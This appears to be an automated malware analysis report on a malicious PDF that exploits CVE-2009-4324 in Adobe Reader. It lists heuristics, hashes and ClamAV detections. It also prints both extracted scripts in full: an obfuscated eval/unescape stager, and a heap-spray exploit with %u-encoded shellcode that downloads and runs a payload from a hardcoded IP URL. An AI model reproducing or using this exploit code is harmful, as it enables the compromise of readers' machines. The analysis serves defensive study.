Malicious PDF — malware analysis report

Static analysis result for SHA-256 272a96da67dfca06…

MALICIOUS

PDF

1.9 KB First seen: 2026-05-03
MD5: ea107e1c7b4bf02584935cd19afc4bb5 SHA-1: 273f9ebe21ed6a841b989bc962a6e5419008d23c SHA-256: 272a96da67dfca063591b5bc446e77ca768590195b5da51e81d29053ac864872
470 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1204.002 Malicious File

The PDF file contains embedded JavaScript that is obfuscated and utilizes `eval()` and `unescape()` functions, indicating malicious intent. The critical heuristic `CVE_2009_4324` specifically points to the exploitation of this vulnerability via JavaScript. ClamAV detections further confirm the malicious nature of the file and its extracted artifacts. The primary attack vector appears to be exploiting the CVE-2009-4324 vulnerability to achieve arbitrary code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> S …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35930 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35930
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://92.63.96.171/30/l.php?i=16 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x6AD 697 bytes
SHA-256: f23e505f155bfa9b9f356fa9fddf8d7fcafcc37fc2df3878e575e72c00c819d4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator.replace(/z/igm,'%')/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/)/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2427 bytes
SHA-256: eae1b9d2ef3f20a7ea5bb900d1f603f0a008a9526a39e4f14ac00192fda4cc2d
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function a(){util.printd('p@111111111111111111111111 : yyyy111', new Date());}var h = app.plugIns;for (var f=0; f < h.length; f++){if (h[f].name=='EScript'){var i=h[f].version;}}if((i>8.12)&&(i<8.2)){c=new Array();var d = unescape('%u9090%u9090');var e = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u392f%u2e32%u3336%u392e%u2e36%u3731%u2f31%u3033%u6c2f%u702e%u7068%u693f%u313d%u0036%u9000');while(d.length <= 0x8000){d+=d;}d=d.substr(0,0x8000 - e.length);for(f=0;f<2900;f++) {c[f]=d + e;}a();a();try {this.media.newPlayer(null);} catch(e) {}a();}